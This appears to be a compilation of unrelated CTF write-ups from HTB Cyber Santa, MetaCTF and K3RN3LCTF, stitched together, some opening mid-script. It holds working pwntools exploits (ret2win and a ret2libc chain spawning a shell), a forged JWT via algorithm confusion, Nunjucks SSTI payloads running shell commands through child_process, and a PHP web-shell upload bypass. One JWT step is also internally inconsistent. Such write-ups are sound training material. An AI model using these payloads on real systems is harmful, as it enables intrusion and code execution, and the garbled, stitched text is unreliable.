alphabet = b'0123456789abcdef'const = b'cyb3rXm45!@#'pt = pad(b'cryptocat', 16)ct = unhex('17de2b9f73ffa462c257c4a9fb29fe33')encrypted_flag = unhex( 'ac2ad0394dca2c79d15e55f24284b8e5')win_prefix = b''win_suffix = b''
# Key 1 (const + 4 random chars)ciphertext_dict = {}for i in product(alphabet, repeat=4): suffix = bytes(list(i)) key1 = const + suffix cipher1 = AES.new(key=key1, mode=AES.MODE_ECB) c1 = cipher1.encrypt(pt) ciphertext_dict[c1] = suffix
# Key 2 (4 random chars + const)for i in product(alphabet, repeat=4): prefix = bytes(list(i)) key2 = prefix + const cipher2 = AES.new(key=key2, mode=AES.MODE_ECB) p1 = cipher2.decrypt(ct) if p1 in ciphertext_dict: print("Found {} {}".format(ciphertext_dict[p1], prefix)) win_suffix = ciphertext_dict[p1] win_prefix = prefix
# Use our extracted key to solve the challenge!key1 = const + win_suffixkey2 = win_prefix + constc = AES.new(key=key2, mode=AES.MODE_ECB)middle = c.decrypt(encrypted_flag)c = AES.new(key=key1, mode=AES.MODE_ECB)flag = c.decrypt(middle)print('[+] FLAG {}'.format(flag))
``` |
Reverse the program with disassembler, setup a breakpoint at location of interest and run against server to retrieve the flag (or just run strace).
```pyfrom pwn import *
# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)gdbscript = '''init-pwndbgbreakrva 0x16a0breakrva 0x1707breakrva 0x1748continue'''.format(**locals())
# Binary filenameexe = './client'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Change logging level to help with debugging (warning/info/debug)context.log_level = 'debug'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
client = listen(1337) # Setup listener on port 1337io = start(['127.0.0.1', '1337']) # Launch binary with localhost:1337# Wait for the client to connect to the serverio = client.wait_for_connection()
# FOR TESTING - turns out solution was breakpoint/straceio.send(b'HTB{0123456789abcdefghijklmnopq}')print(io.recv())
io.send(b'HTB{0123456789abcdefghijklmnopq}')print(io.recv())
io.send(b'1')
io.interactive()``` |
<h1>K3RN3L DROID</h1>Points: 500
<h1>Category</h1>Kiddie Pool/Reverse Engineering
<h1>Problem</h1>
<h1>Code</h1>
```assemblyextern putsextern exitextern getsextern strlenextern printf
section .textglobal _start
_start: push 0xD3ADC0DE jb 0x004010ed ;je l1 + 1 ;je l2 jmp label1 push rax mov rax, 0xCAFEBABE cmp rax, 0x0000000F je label2 jmp label4 jmp 0xCAFEBABE label1: push rdi push r8 mov r8, 0x9418561 cmp r8, 0x9401586 jne label2 push r9 mov r9, 0x000000A sub r9, r8 jmp label4 ret jmp 0xDEADC0DE
label2: jmp label3 push r8 mov r8, 0xFFFFFF jmp r8
label3: lea rdi, [welcomeMessage] call puts jmp label4
label4: lea rdi, [pinCode] call gets mov rdi, rax call strlen cmp rax, 0x8 jne invalid_pin_length je label5 jmp end
label5: push rcx push 0x5 mov rax, 0x5 mov rcx, rax pop rax push r9 mov r9, rcx pop rcx mov r9b, [pinCode + 0x0] cmp r9b, 0x30 jne invalid_pin cmp r9b, 0x31 je invalid_pin cmp r9b, 0x32 je invalid_pin cmp r9b, 0x35 je invalid_pin push 0xFFFFFFF mov r9b, [pinCode + 0x1] cmp r9b, 0x34 jne invalid_pin nop mov r9b, [pinCode + 0x2] cmp r9b, 0x37 jg invalid_pin cmp r9b, 0x30 jne invalid_pin mov r9b, [pinCode + 0x3] cmp r9b, 0x39 je invalid_pin cmp r9b, 0x30 jne invalid_pin push r8 pop r9 mov r8b, [pinCode + 0x4] cmp r8b, 0x31 jb invalid_pin cmp r8b, 0x32 jge invalid_pin xor r8, r8 mov r8b, [pinCode + 0x5] cmp r8b, 0x30 jbe invalid_pin cmp r8b, 0x32 jae invalid_pin push rcx mov r8, rcx mov r8b, [pinCode + 0x6] cmp r8b, 0x39 jne invalid_pin mov r8b, [pinCode + 0x7] cmp r8b, 0x36 jl invalid_pin cmp r8b, 0x36 jg invalid_pin jmp valid_pin
label7: jmp valid_pin
label6: push rax push rcx mov rax, 5 mov rcx, 4 imul rax pop rcx mov r8, rax pop rax pop rcx jmp invalid_pin
l1: db 0xe8 xor rax, rax ret nop nop xor rax, rax je l2 + 1 jne l2 + 0xCAFEBABE
l2: db 0xe9 pop rax ret
invalid_pin_length: push rdi lea rdi, [invalidPinLengthMessage] call puts jmp end
invalid_pin: lea rdi, [invalidPinMessage] call puts jmp end
valid_pin: lea rdi, [validPinMessage] lea rsi, [pinCode] call printf lea rsi, [newLine] call puts jmp end
end: mov rdi, 0x0 call exit
section .data welcomeMessage db "Welcome in KernelDroid, please input your PIN code to enter into phone", 0 invalidPinLengthMessage db "I'm sorry your pin is not valid, at least it should be 8 (0-9) numbers length for example. 123456789", 0 invalidPinMessage db "This is not valid PIN!", 0 validPinMessage db "Great, your flag flag{K3RN3L_DR0ID_%s}", 0 pinCode db "", 0 toString db "%s", 0 newLine db 10 ```
<h1>Solution</h1>
Let's start analyze from _start function
```assembly_start: push 0xD3ADC0DE jb 0x004010ed ;je l1 + 1 ;je l2 jmp label1 push rax mov rax, 0xCAFEBABE cmp rax, 0x0000000F je label2 jmp label4 jmp 0xCAFEBABE```
We can see that there's a lot of trash opcodes and jumps, but let's start from the beginning.First two instructions are just trash, and next two are commented so just don't pay attention to it.Fifth opcode is jmp label1 so we should go there, instructions after this opcode are usseless because we jumped out to label1.
We are in label1 now```assemblylabel1: push rdi push r8 mov r8, 0x9418561 cmp r8, 0x9401586 jne label2 push r9 mov r9, 0x000000A sub r9, r8 jmp label4 ret jmp 0xDEADC0DE```
```assembly push rdi push r8 mov r8, 0x9418561 cmp r8, 0x9401586 jne label2```Values are not equal, so we go ahead and we can hit in ```assembly jmp label4```So we are at label4, where we can find that program gets from us PIN and check is length 8 characters, then jump to label5 if yes```assemblylabel4: lea rdi, [pinCode] call gets mov rdi, rax call strlen cmp rax, 0x8 jne invalid_pin_length je label5 jmp end```
```assemblylabel5: push rcx push 0x5 mov rax, 0x5 mov rcx, rax pop rax push r9 mov r9, rcx pop rcx mov r9b, [pinCode + 0x0] cmp r9b, 0x30 jne invalid_pin cmp r9b, 0x31 je invalid_pin cmp r9b, 0x32 je invalid_pin cmp r9b, 0x35 je invalid_pin push 0xFFFFFFF mov r9b, [pinCode + 0x1] cmp r9b, 0x34 jne invalid_pin nop mov r9b, [pinCode + 0x2] cmp r9b, 0x37 jg invalid_pin cmp r9b, 0x30 jne invalid_pin mov r9b, [pinCode + 0x3] cmp r9b, 0x39 je invalid_pin cmp r9b, 0x30 jne invalid_pin push r8 pop r9 mov r8b, [pinCode + 0x4] cmp r8b, 0x31 jb invalid_pin cmp r8b, 0x32 jge invalid_pin xor r8, r8 mov r8b, [pinCode + 0x5] cmp r8b, 0x30 jbe invalid_pin cmp r8b, 0x32 jae invalid_pin push rcx mov r8, rcx mov r8b, [pinCode + 0x6] cmp r8b, 0x39 jne invalid_pin mov r8b, [pinCode + 0x7] cmp r8b, 0x36 jl invalid_pin cmp r8b, 0x36 jg invalid_pin jmp valid_pin```
We don't care about pushed values on the stack, let's focus on pinCode checks```assemblymov r9b, [pinCode + 0x0]cmp r9b, 0x30 ;0mov r9b, [pinCode + 0x1]cmp r9b, 0x34 ;4jne invalid_pinmov r9b, [pinCode + 0x2]cmp r9b, 0x30 ;0jne invalid_pinmov r9b, [pinCode + 0x3]cmp r9b, 0x30jne invalid_pin ;0mov r8b, [pinCode + 0x4]cmp r8b, 0x31jb invalid_pincmp r8b, 0x32jge invalid_pin ;1mov r8b, [pinCode + 0x5]cmp r8b, 0x30jbe invalid_pincmp r8b, 0x32jae invalid_pin ;1mov r8b, [pinCode + 0x6]cmp r8b, 0x39jne invalid_pin ;9mov r8b, [pinCode + 0x7]cmp r8b, 0x36jl invalid_pincmp r8b, 0x36jg invalid_pin ;6jmp valid_pin```
https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm - compare conditions with ASCII table gave us PIN code: 04001196
```assemblyvalid_pin: lea rdi, [validPinMessage] lea rsi, [pinCode] call printf lea rsi, [newLine] call puts jmp end```validPinMessage db "Great, your flag flag{K3RN3L_DR0ID_%s}", 0
printf("Great, your flag flag{K3RN3L_DR0ID_%s}", pin) -> Great, your flag flag{K3RN3L_DR0ID_04001196}
|
Hash Length Extension attack to execute SQL on remote server.
Full writeup: [https://ctf.rip/write-ups/crypto/htb-cybersanta/#warehouse](https://ctf.rip/write-ups/crypto/htb-cybersanta/#warehouse) |
# MetaCTF 2021## Sugar, We're Goin Up (125pts)### Description: >In September 2021, GitLab upgraded the CVSSv3 score for a critical remote code execution vulnerability to 10.0, the highest possible score. Although a patch was released in April, numerous public-facing, unpatched GitLab instances remain vulnerable.What is the CVE number for this critical, actively exploited vulnerability? The flag format will be `CVE-XXXX-XXXX`.
### Step 1 - Do Research:By using Google we can search for a GitLab RCE vulnerability and check out anything recent.Sure enough, the first [result](https://www.rapid7.com/blog/post/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/) talks about a patch released in April and an upgraded CVSSv3 score.Certainly, this is our intended CVE.
The only potentially confusing thing in this challenge is that the flag format is specified clearly as `CVE-XXXX-XXXX` and our format is `CVE-XXXX-XXXXX`, which causes some need for double-checking.We decided that this was a simple oversight and made the right call.
<details> <summary> Flag Spoiler </summary> CVE-2021-22205</details>
## Learning TakeawaysWe learned about a GitLab CVE with the highest possible CVSSv3 score that allows for unauthenticated RCE via DjVu file upload. |
Classic return to win (ret2win) buffer overflow. Video walkthrough: https://www.youtube.com/watch?v=20FkOdoMiRU&t=1434s
```pyfrom pwn import *
# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflowsdef find_ip(payload): # Launch process and send payload p = process(exe) p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', payload) # Wait for the process to crash p.wait() # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset
# Specify GDB script here (breakpoints etc)gdbscript = '''init-pwndbgcontinue'''.format(**locals())
# Binary filenameexe = './mr_snowy'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Change logging level to help with debugging (warning/info/debug)context.log_level = 'info'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Pass in pattern_size, get back EIP/RIP offsetoffset = find_ip(cyclic(500))
# Start programio = start()
# Build the payloadpayload = flat({ offset: elf.symbols.deactivate_camera})
# Save the payload to filewrite('payload', payload)
# Send the payloadio.sendlineafter(b'>', b'1')io.sendlineafter(b'>', payload)
# Got Shell?io.interactive()``` |
**Full write-up (+files):** [https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Objection.html](https://www.sebven.com/ctf/2021/11/14/K3RN3LCTF2021-Objection.html)
Cryptography – 500 pts (2 solves) – Chall author: Polymero (me)
“Looks like Harry is hoarding his flags again… Maybe he will stop if we can convince him both Alice and Carlo dislike hoarding too. Alice and Carlo, being stereotypical CTF admins, are not responding to your complaints. Guess you will just have to answer for them… Luckily, I managed to secure you a channel to the domain controller of the CTF server.”
nc ctf.k3rn3l4rmy.com 2240
Files: objection.py
This challenge was part of our very first CTF, K3RN3LCTF 2021. |
Classic ret2libc buffer overflow; leak libc function, calculate offset to system('/bin/sh'). Walkthrough to follow: https://www.youtube.com/watch?v=3GGpyEkt8GE&t=916s
```pyfrom pwn import *
def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
def find_ip(payload): # Launch process and send payload p = process(exe) p.sendlineafter(b':', b'crypto') p.sendlineafter(b':', b'cat') p.sendlineafter(b':', b'18') p.sendlineafter(b':', payload) # Wait for the process to crash p.wait() # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset
# Specify your GDB script here for debugginggdbscript = '''init-pwndbgbreak maincontinue'''.format(**locals())
# Set up pwntools for the correct architectureexe = './naughty_list'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level = 'info'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Locallibc = ELF('libc.so.6') # Remote
# Pass in pattern_size, get back EIP/RIP offsetoffset = find_ip(cyclic(1000))
ret = 0x400756
# Start programio = start()
io.sendlineafter(b':', b'crypto')io.sendlineafter(b':', b'cat')io.sendlineafter(b':', b'18')
# Create a ROP object to handle complexitiesrop = ROP(elf)
# Payload to leak libc functionrop.puts(elf.got.puts)rop.get_descr()
# Send the payloadio.sendlineafter(':', flat({offset: rop.chain()}))
io.recvlines(6) # Receive up to leaked address
# Retrieve got.puts addressgot_puts = unpack(io.recvline()[:6].ljust(8, b"\x00"))info("leaked got_puts: %#x", got_puts)
# Subtract puts offset to get libc baselibc.address = got_puts - libc.symbols.putsinfo("libc_base: %#x", libc.address)
# Reset ROP object with libc binaryrop = ROP(libc)
# Call ROP system, passing location of "/bin/sh" stringrop.system(next(libc.search(b'/bin/sh\x00')))
# Send the payloadio.sendline(flat({offset: [ret, rop.chain()]}))
# Got Shell?io.interactive()``` |
# MetaCTF 2021## Wrong Way on a One Way Street (100pts)### Description: >Hashing is a system by which information is encrypted such that it can never be decrypted... theoretically. Websites will often hash passwords so that if their passwords are ever leaked, bad actors won't actually learn the user's password; they'll just get an encrypted form of it. However, the same password will always hash to the same ciphertext, so if the attacker can guess your password, they can figure out the hash. Can you guess the password for this hash? `cb78e77e659c1648416cf5ac43fca4b65eeaefe1`### Step 1 - Understand the Ask:Given a hash, can we crack it? There's a long, more robust way to do this and a short way. In this writeup, I'll be covering the short way, but if you're interested in more advanced password cracking, look into tools like [hashcat](https://hashcat.net/hashcat/) or [John](https://www.openwall.com/john/).### Step 2 - Speedy Cracking:If we don't want to spend time gathering a wordlist, opening our VM, running tools, and making our GPU cry, there's a website called [crackstation](https://crackstation.net/) that has pre-computed hashes for cracking. It's not the best tool if you have complex passwords or custom needs, but it will crack simple and short ones fast given it's in their database.
When I identify a hash, I usually throw it in crackstation first to see if it was a simple password before dedicating my resources to it.
<details> <summary> Flag Spoiler </summary> babyloka13</details>
## Learning TakeawaysWe learned a bit about hashing and password cracking in this challenge, and how to get away with the least amount of effort for a cracking attempt. |
Main page shows a card and the login option in the lower right.
Clicking on the card shows us a list of naughty and nice. It seems no one was nice.
We can go to login and create a user:
However we only get a page stating that access is denied. Checking the cookie though, we can see it's a JWT token.
Putting it in https://jwt.io we can see it is using a RS256 algorithm with a public and private key to sign the token however the public key is in the data section.
According to the source code that was provided, the token can also be verified with HS256 algorithm which allows us to try a Confusion Attack.
I've followed the instructions on this page https://habr.com/en/post/450054/. This certainly could've been scripted or the jwt_tool could've been used but I was in a hurry and just followed my google search results. On the plus side, sometimes doing things manually allows for a better understanding and learning opportunity.
I've copied the public key and pasted it in sublime and used the regex to replace the \n with actual new lines.
So now we have it saved in a proper format as key.pem.
Now we can use the syntax below to turn it into ASCII hex and trim any other new lines I may have missed. Better safe than sorry.
```bashcat key.pem | xxd -p | tr -d "\\n"```
I've modified the algorithm and user to HS256 and admin respectively.
Now I copied the first two parts of the JWT (header and payload/red and purple) and ran the syntax below to supply the public key as ASCII hex to our signing operation.
```bashecho -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6VTFKendEZWhGTFFFRk0yam5EN1xuWDErUkRnUDZOb2x4WTE1MFg4NEo0TUp6ODZtbS9BRkFTRU9jM1ZFbG9SK2Vnb2NXclROenQ1RzBvVnFzZmovSFxuQXM1bWU0Y1V4S05Mek5YcWlOdCt3cy9wTW91ZTlaajVXSC9UcmVlL1MwRUR3eFBOM3JnOUlwR2xwQVN0Z01XY1xuZTB4UWNkQW05VCtvQUZLdVUxUW9sazQvWnZLc0pjU0lwb2xQU3l4dWVTckEya3lZUG83ZFgrVmsrcmIrRXNQUlxuaVI3ZHRyQ3JZMjdCUkE4VVRKc3ZZL3VKRzJBVEhGWFVyZ0doanFsck92blB0R3JxcEF2bFFwQjVqelN2SmpmaVxucWVuODNsNVRPUEZuSEV5VmxNam44blhGQUdPRnAwckVBajJkbXlwWVIyU2plWDBYTnNNbWpiV3UzTU8ySVVhaVxuOXdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLSIsImlhdCI6MTYzODczNDQ2M30"| openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b43415145416a6a536972772f64746b633761676950476751330a456734494762744e2f6268506c4c4d34504f5248336a72787a6274785846543537453257644f6539586f34564a55577448767959305439614362714d4e4b6b470a63365762344273337973746c79447a727137536d6f3946386d525130736d704a3771534b4e6f5a7449484a744f547a6a4d473536414c395a695a61326b3653430a306f61556b556c4d57745a685a346c5642565942552f434f344e64626770454b69444e4b497062314e4a5a76634457367a3273316c6e49666e417073564f48410a6a4b6c52542f634f2f424876413839616250644e473731513678375279765637616f794466395a4e4a2f3176417743426c436a713079723433386c7a4537494e0a647141585859795a7a2f356b556d574c505a456b637464352f597364694b392b727a635366776b744e71464c47616e6d646a71345476362b596b62544e7739530a67514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d```
And we get our HMAC signature.
cf14cfe167a94210316c1b82fa221b4284a2096f830ec70f45f78777de17b796
Using python we can turn the HMAC signature from its current ASCII hex state to JWT format. Basically base64 encode it to be safe for url and take out the = in case one is there.
```bashpython -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('42890a49ab8265b03bf14acc5f9bdfb899a1b249a05fabc11fcc051330e98be5')).replace('=','')\")"```
zxTP4WepQhAxbBuC-iIbQoSiCW-DDscPRfeHd94Xt5Y
Now we just append that to our JWT token. This is the blue part of the token. The final token looks like this.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6VTFKendEZWhGTFFFRk0yam5EN1xuWDErUkRnUDZOb2x4WTE1MFg4NEo0TUp6ODZtbS9BRkFTRU9jM1ZFbG9SK2Vnb2NXclROenQ1RzBvVnFzZmovSFxuQXM1bWU0Y1V4S05Mek5YcWlOdCt3cy9wTW91ZTlaajVXSC9UcmVlL1MwRUR3eFBOM3JnOUlwR2xwQVN0Z01XY1xuZTB4UWNkQW05VCtvQUZLdVUxUW9sazQvWnZLc0pjU0lwb2xQU3l4dWVTckEya3lZUG83ZFgrVmsrcmIrRXNQUlxuaVI3ZHRyQ3JZMjdCUkE4VVRKc3ZZL3VKRzJBVEhGWFVyZ0doanFsck92blB0R3JxcEF2bFFwQjVqelN2SmpmaVxucWVuODNsNVRPUEZuSEV5VmxNam44blhGQUdPRnAwckVBajJkbXlwWVIyU2plWDBYTnNNbWpiV3UzTU8ySVVhaVxuOXdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLSIsImlhdCI6MTYzODczNDQ2M30.zxTP4WepQhAxbBuC-iIbQoSiCW-DDscPRfeHd94Xt5Y
We put the token in the web browser of our choice and refresh the page. We can see we have access to the elf listing.
According to the source code, there is some nunjucks templating being used here.
We can try to confirm if we have SSTI (Server Side Template Injection) with a standard payload of {{7*7}}
We edit the elf name with that payload, refresh the main page where we have the nice vs naughty list and can see that indeed, it was interpreted and we have SSTI.
We google around for a bit regarding nunjucks SSTI and can find this article. http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
We have nunjucks ssti and can read the flag by breaking out of the sandbox. We have command execution.
```bash{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}```
```bash{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la /')")()}}```The font makes it more difficult to read so we can just CTRL+U to see the webpage source:
```bash{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /flag*')")()}}```
HTB{S4nt4_g0t_ninety9_pr0bl3ms_but_chr1stm4s_4in7_0n3} |
Got a persist.raw file```bashvol.py -f persist.raw imageinfo ```
Based on the challenge description, I was looking for something running at startup. I wasted a lot of time trying to manually find the startup programs, either in folders or registry keys manually.
I was not very successfull so I googled the words "windows persistence volatility" to see if there are other ways to look for these things using the many functions of the volatility tool.
My first search result got me a video which was the key to this challenge.
https://www.youtube.com/watch?v=shF8hAprD4g
They were using a plugin for volatility called winesap. I was not able to find it in the link they mentioned but I found it on github.
https://github.com/reverseame/winesap
I copied it over to my machine in the folder of the challenge and made sure to follow their instructions to provide this argument first.
I first ran it using the --match flag shown in the video but didn't get any results. So then I removed it in order to show all.
```bashvol.py --plugins winesap/ -f persist.raw --profile Win7SP1x86_23418 winesap ```
The first result was exactly what I was looking for. What seems to be a powershell script that has a base64 encoded payload.
The flag was hiding in that payload:
HTB{Th3s3_3lv3s_4r3_r34lly_m4l1c10us} |
Affine cipher,
Conduct known plaintext attack for keys and solve with affine cipher. Full writeup: [https://ctf.rip/write-ups/crypto/htb-cybersanta/#xmasspirit](https://ctf.rip/write-ups/crypto/htb-cybersanta/#xmasspirit) |
一文字ずつ順に復号していきます．
```pyimport randomimport string
def encrypt(x, cnt): def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b)
if len(x) != 25: print("WRONG!!!!!") else: random.seed(997) k = [random.randint(0, 256) for _ in range(len(x))] a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) } b = list(range(len(x))) random.shuffle(b) c = [a[i] for i in b[::-1]] kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) return valid==cnt+1 if valid == len(x): print("Password is correct! Flag:", x) else: print("WRONG!!!!!!")
pw = ['#']*25
for i in range(25): for c in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~": pw[i]=c if encrypt(''.join(pw), i): break print(''.join(pw))```
```shM########################Me#######################Met######################Meta#####################MetaC####################MetaCT###################MetaCTF##################MetaCTF{#################MetaCTF{y################MetaCTF{yO###############MetaCTF{yOu##############MetaCTF{yOu_#############MetaCTF{yOu_w############MetaCTF{yOu_w!###########MetaCTF{yOu_w!N##########MetaCTF{yOu_w!N_#########MetaCTF{yOu_w!N_t########MetaCTF{yOu_w!N_th#######MetaCTF{yOu_w!N_th1######MetaCTF{yOu_w!N_th1$#####MetaCTF{yOu_w!N_th1$_####MetaCTF{yOu_w!N_th1$_0###MetaCTF{yOu_w!N_th1$_0n##MetaCTF{yOu_w!N_th1$_0n3#MetaCTF{yOu_w!N_th1$_0n3}``` |
Homepage greets us with a login screen.
We can create an account and then login in.
It says we don't have permissions to edit our profile but if we look at the cookie, we can see it's simply base64 encoded so we can decode it, edit it and base64 encode it.
We now have an Admin approved cookie
eyJ1c2VybmFtZSI6ImFkbWluIiwiYXBwcm92ZWQiOnRydWV9
With some experimentation, we notice we also have Reflected XSS with the username field.
XSS cookie
eyJ1c2VybmFtZSI6IjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvc2NyaXB0PiIsImFwcHJvdmVkIjp0cnVlfQ==
However this is a rabbit hole because XSS can't get us a foothold as stated in the challenge description.
The profile picture didn't change when I changed the cookie with Admin and True. So I went back to leaving it on my username but approved set to true.
eyJ1c2VybmFtZSI6ImxhenkiLCJhcHByb3ZlZCI6dHJ1ZX0=
This now allows for the profile picture to change. However we can still only upload PNG files. We need to bypass that.
Added a double extension, and the PNG header along with some content from a png file. Then added a php shell. I listed files in root and saw the flag so I read it using cat.
HTB{br4k3_au7hs_g3t_5h3lls}
With the payload below, I could also get a shell on the box even if one isn't really required once you have command execution.
 |
We get a file called client.```client: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bcb9d17215725749cf2ce0ee9ef5df3c98ba8f00, for GNU/Linux 4.4.0, stripped```When running it locally would only connect back to the port I gave it and just write back to me whatever I typed but in reverse.
When running it remotely I could only get.
Ran it with strace to see more of what it is doing and I got the flag.
HTB{n0t_qu1t3_s0_0p4qu3}
|
# RULES
## Description
Have you read the rules? If not, go ahead and do that!
## WriteupCheck the Discord rules channel annd the flag is literally there!
## Flag`TFCCTF{Fl4Gs_f0r_3v3ry0n3!!!^@&#@$?~:}` |
# Mr Snowy
There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman... it scares me.. He is always ? staring at Santa's house. Something must be wrong with him.
## Analysis
In this challenge we were given an ELF-64bit named `mr_snowy` with no canary, NX enabled, and no PIE.
```$ file mr_snowy; checksec mr_snowymr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped[*] '/home/kali/Documents/HTB/cyber santa/pwn_mr_snowy/mr_snowy' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Let's try to run it
#### First try
#### Second try
#### Third try
It seems that we have to insert 1 for the first input and then deactivate the camera by knowing the password. Let's open the program using ida to see what the source code looks like.
#### main function```cint __cdecl main(int argc, const char **argv, const char **envp){ setup(*(_QWORD *)&argc, argv, envp); banner(); snowman(); return 0;}```
> At this very moment I did not check every function that is existed in the binary. So all that I check was only banner(), snowman(), and investigate(). There is the short or the easier way to solve this problem, which I will explain in [here](mrSnowy-butEasier.md).
From the main function, it called 2 other function, banner() and snowman(). Function banner() only give the output of the snowman and the function snowman() reads the input and determine the flow of the program.
So, we need to dive into the function snowman more!
#### snowman```cint snowman(){ char buf; // [rsp+0h] [rbp-40h]
printstr(&unk_4019A8); fflush(_bss_start); read(0, &buf, 2uLL); if ( atoi(&buf) != 1 ) { printstr("[*] It's just a cute snowman after all, nothing to worry about..\n"); color((unsigned __int64)"\n[-] Mission failed!\n"); exit(-69); } return investigate();}```
We are right, we need to choose 1 at the first input that the program asked. Otherwise, the program will exit. If we choose 1, the program will redirect into function investigate(). So, we need to check that out.
#### investigate```cint investigate(){ char buf; // [rsp+0h] [rbp-40h]
fflush(_bss_start); printstr(&unk_401878); fflush(_bss_start); read(0, &buf, 0x108uLL); if ( atoi(&buf) == 1 ) { puts("\x1B[1;31m"); printstr("[!] You do not know the password!\n[-] Mission failed!\n"); exit(22); } if ( atoi(&buf) == 2 ) { puts("\x1B[1;31m"); printstr("[!] This metal seems unbreakable, the elves seem to have put a spell on it..\n[-] Mission failed!\n"); exit(22); } fflush(_bss_start); puts("\x1B[1;31m"); fflush(_bss_start); puts("[-] Mission failed!"); return fflush(_bss_start);}```
In the second input, the program didn't check the input. So we could fill this buffer until it overflows. Let's use gdb to find the offset.
First, we could use gdb to create a pattern.```$ gdb -q ./mr_snowyReading symbols from ./mr_snowy...(No debugging symbols found in ./mr_snowy)gdb-peda$ pattern create 100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'```
Next, run the program and send the pattern.```gdb-peda$ rStarting program: /home/kali/Documents/HTB/cyber santa/pwn_mr_snowy/mr_snowy
[Location]: ? Santa's garden.. _____ * * * * * * * | | * * * * ** _|___|_ * * * * ** * ( 0 0 ) * * * * * * * * ( * ) * * * * * * ( * ) * * * * * * \_______/ * * * *** ** [*] This snowman looks sus.. 1. Investigate ? 2. Let it be ⛄ > 1 [!] After some investigation, you found a secret camera inside the snowman! 1. Deactivate ⚠ 2. Break it ? > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [-] Mission failed! Program received signal SIGSEGV, Segmentation fault.```
